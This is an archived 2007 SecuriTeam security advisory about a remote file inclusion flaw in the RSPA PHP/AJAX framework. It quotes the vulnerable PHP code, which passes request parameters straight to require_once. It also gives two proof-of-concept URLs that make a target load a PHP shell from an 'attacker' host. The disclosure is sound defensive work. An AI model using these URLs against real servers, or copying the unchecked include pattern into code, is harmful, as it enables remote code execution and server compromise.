[UNIX] Really Simple PHP and AJAX File Inclusion
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 4 Apr 2007 17:28:11 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Really Simple PHP and AJAX File Inclusion
------------------------------------------------------------------------
SUMMARY
<http://rspa.sourceforge.net/> RSPA is "a component based event driven
ajax enabled framework for PHP4 and PHP 5. It is a combination of plane
PHP class and HTML/Javascript.RSPA allows calling server side PHP
functions from client javascript events". A file inclusion vulnerability
has been found in RSPA, the vulnerability allows insertion of arbitrary
PHP scripts that are then executed.
DETAILS
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and "
__class" parameters in "rspa/framework/Controller_v5
php" and " rspa/framework/Controller_v4.php " is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by including files
from local or external resources.
Vulnerable Code:
require_once("rspaconf.inc.php");
$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];
// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){
$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}
// Parms
if (isset($_REQUEST['__parameters'])){$parameter =
getParms($_REQUEST['__parameters']);}else{$parameter="";}
// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" ||
empty($_REQUEST["__ClassPath"])){
$filename =
$RSPA['class_folder'].$className.$RSPA['class_extension'];
}else{
$filename =
$_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);
POC exploit:
The following URL will cause remote file inclusion
http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq.ir@xxxxxxxxx>
bugtraq ir.
The original article can be found at:
<http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6>
http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Multiple Vendor X Server XC-MISC Extension Memory Corruption Vulnerability
- Next by Date: [UNIX] Telnetd Allows Login as Arbitrary User
- Previous by thread: [UNIX] Multiple Vendor X Server XC-MISC Extension Memory Corruption Vulnerability
- Next by thread: [UNIX] Telnetd Allows Login as Arbitrary User
- Index(es):
Relevant Pages
- [UNIX] cPanel mod_phpsuexec Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The options used by cPanel
... user owning a web accessible PHP file. ... vulnerability and it has been
repaired. ... (Securiteam) - [UNIX] PHP4 phpinfo() XSS Vulnerability (Reintroduced)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The phpinfo() function
"gives detailed information about the current ... environment of PHP. ... variables
when it displays them which leads to an XSS vulnerability. ... (Securiteam) - [UNIX] PHProjekt (Remote) Include Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... PHProjekt Include Vulnerabilities
... vulnerability had been introduced. ... execute arbitrary PHP code. ...
(Securiteam) - [UNIX] Multiple Vulnerabilities within PHP 4/5 (pack, unpack, safe_mode_exec_dir, safe_mode, realpat
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... PHP is "a widely-used general-purpose
scripting language that is ... several vulnerabilities within PHP were ... unserialize()
- Wrong Handling of Negative References ... (Securiteam) - [UNIX] Dotdeb PHP Email Header Injection Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Dotdeb PHP Email Header Injection
Vulnerability ... This patch adds an X-PHP-Script header to ... (Securiteam)